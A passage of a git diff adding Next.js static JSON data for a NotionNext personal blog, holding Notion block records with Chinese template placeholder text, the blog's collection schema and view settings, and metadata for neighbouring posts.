8d491":{"value":{"id":"68a4a544-5986-4d0e-838e-5d896c28d491","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"89e3fb68-e2b8-4ad8-b3c4-ead1544e4050","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"89e3fb68-e2b8-4ad8-b3c4-ead1544e4050"}},"6f00b74f-9168-4ba4-9b78-02b073817e2e":{"value":{"id":"6f00b74f-9168-4ba4-9b78-02b073817e2e","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"e3bd5acb-d417-4bfa-ab56-d4acef957911","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"e3bd5acb-d417-4bfa-ab56-d4acef957911"}},"575c2b55-b7ab-415d-ab01-7127fa80b461":{"value":{"id":"575c2b55-b7ab-415d-ab01-7127fa80b461","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"67079502-876a-46c5-8416-8bb84bd5db33","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"67079502-876a-46c5-8416-8bb84bd5db33"}},"3059d59e-6321-4cf7-b83b-980793108c72":{"value":{"id":"3059d59e-6321-4cf7-b83b-980793108c72","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"794dc0d2-2a7e-44f9-a667-be8159328dca","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"794dc0d2-2a7e-44f9-a667-be8159328dca"}},"e22d3df7-942e-4ba6-bcb5-d98043c85699":{"value":{"id":"e22d3df7-942e-4ba6-bcb5-d98043c85699","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"ae4cd417-6b57-491a-9693-993fd00ae720","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"ae4cd417-6b57-491a-9693-993fd00ae720"}},"af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703":{"value":{"id":"af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"f2f5193f-777c-48ae-9f6c-c6d460c8f26e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"f2f5193f-777c-48ae-9f6c-c6d460c8f26e"}},"7618802b-85cf-439d-9bf7-b309f06ab819":{"value":{"id":"7618802b-85cf-439d-9bf7-b309f06ab819","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"efaf1221-c25c-4007-81ea-a2b98b75e04a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"efaf1221-c25c-4007-81ea-a2b98b75e04a"}},"516b8278-e818-46dc-ada0-b6c50c617bb1":{"value":{"id":"516b8278-e818-46dc-ada0-b6c50c617bb1","type":"text","format":{"copied_from_pointer":{"id":"4a8fe871-c808-4f6e-ad6d-add544f66e20","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"4a8fe871-c808-4f6e-ad6d-add544f66e20"}},"45d1a941-6e76-44ee-b686-c9048159b959":{"value":{"id":"45d1a941-6e76-44ee-b686-c9048159b959","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"172bb677-43b3-4aaf-afbb-edc265e405c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"172bb677-43b3-4aaf-afbb-edc265e405c1"}},"0e0a78c5-5bce-4d66-9749-760aba8bf0e2":{"value":{"id":"0e0a78c5-5bce-4d66-9749-760aba8bf0e2","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"73912305-952d-462b-b687-4d72dceb8b78","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"c4ae2757-06af-414a-a57e-b220235fe4f8","parent_table":"block","alive":true,"copied_from":"73912305-952d-462b-b687-4d72dceb8b78"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-2.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-2.json new file mode 100644 index 000000000..dcae82a70 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-2.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK 